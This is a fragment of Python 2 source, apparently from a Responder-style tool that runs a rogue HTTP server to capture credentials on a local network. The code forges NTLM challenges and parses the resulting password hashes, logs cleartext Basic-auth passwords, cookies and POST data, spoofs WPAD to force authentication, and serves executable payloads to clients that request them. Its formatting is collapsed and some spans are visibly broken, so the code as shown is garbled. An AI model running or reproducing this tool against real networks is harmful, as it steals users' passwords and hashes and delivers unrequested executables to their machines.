################################################################################## #HTTP Proxy Stuff starts here (Not Used) ################################################################################## class HTTPProxy(): def serve_thread_tcp(host, port, handler): try: server = ThreadingTCPServer((host, port), handler) server.serve_forever() except Exception, e: print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) def start(on_off): if on_off == "ON": t = threading.Thread(name="HTTP", target=self.serve_thread_tcp, args=("0.0.0.0", 80,HTTP)) t.setDaemon(True) t.start() if on_off == "OFF": return False class ThreadingTCPServer(ThreadingMixIn, TCPServer): allow_reuse_address = 1 def server_bind(self): TCPServer.server_bind(self) #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): LMhashLen = struct.unpack(' 24: NthashLen = 64 DomainLen = struct.unpack('2: PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) #print PostData responder_logger.info(PostData) #Handle HTTP packet sequence. def PacketSequence(data,client): Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): File = config.get('HTTP Server', 'ExecFilename') buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) buffer1.calculate() return str(buffer1) if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): if IsExecutable(FILENAME): buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) buffer1.calculate() return str(buffer1) else: buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) buffer1.calculate() return str(buffer1) if Ntlm: packetNtlm = b64decode(''.join(Ntlm))[8:9] if packetNtlm == "\x01": GrabURL(data,client) GrabCookie(data,client) r = NTLM_Challenge(ServerChallenge=Challenge) r.calculate() t = IIS_NTLM_Challenge_Ans() t.calculate(str(r)) buffer1 = str(t) return buffer1 if packetNtlm == "\x03": NTLM_Auth= b64decode(''.join(Ntlm)) ParseHTTPHash(NTLM_Auth,client) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): Message = "[+]WPAD (auth) file sent to: %s"%(client) if Verbose: print Message responder_logger.info(Message) buffer1 = WpadCustom(data,client) return buffer1 else: buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) buffer1.calculate() return str(buffer1) if BasicAuth: GrabCookie(data,client) GrabURL(data,client) outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt" WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) responder_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): Message = "[+]WPAD (auth) file sent to: %s"%(client) if Verbose: print Message responder_logger.info(Message) buffer1 = WpadCustom(data,client) return buffer1 else: buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) buffer1.calculate() return str(buffer1) else: return str(Basic_Ntlm(Basic)) #HTTP Server Class class HTTP(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(1) data = self.request.recv(8092) buff = WpadCustom(data,self.client_address[0]) if buff and WpadForcedAuth(Force_WPAD_Auth) == False: Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) if Verbose: print Message responder_logger.info(Message) self.request.send(buff) else: buffer0 = PacketSequence(data,self.client_address[0]) self.request.send(buffer0) except Exception: pass#No need to be verbose..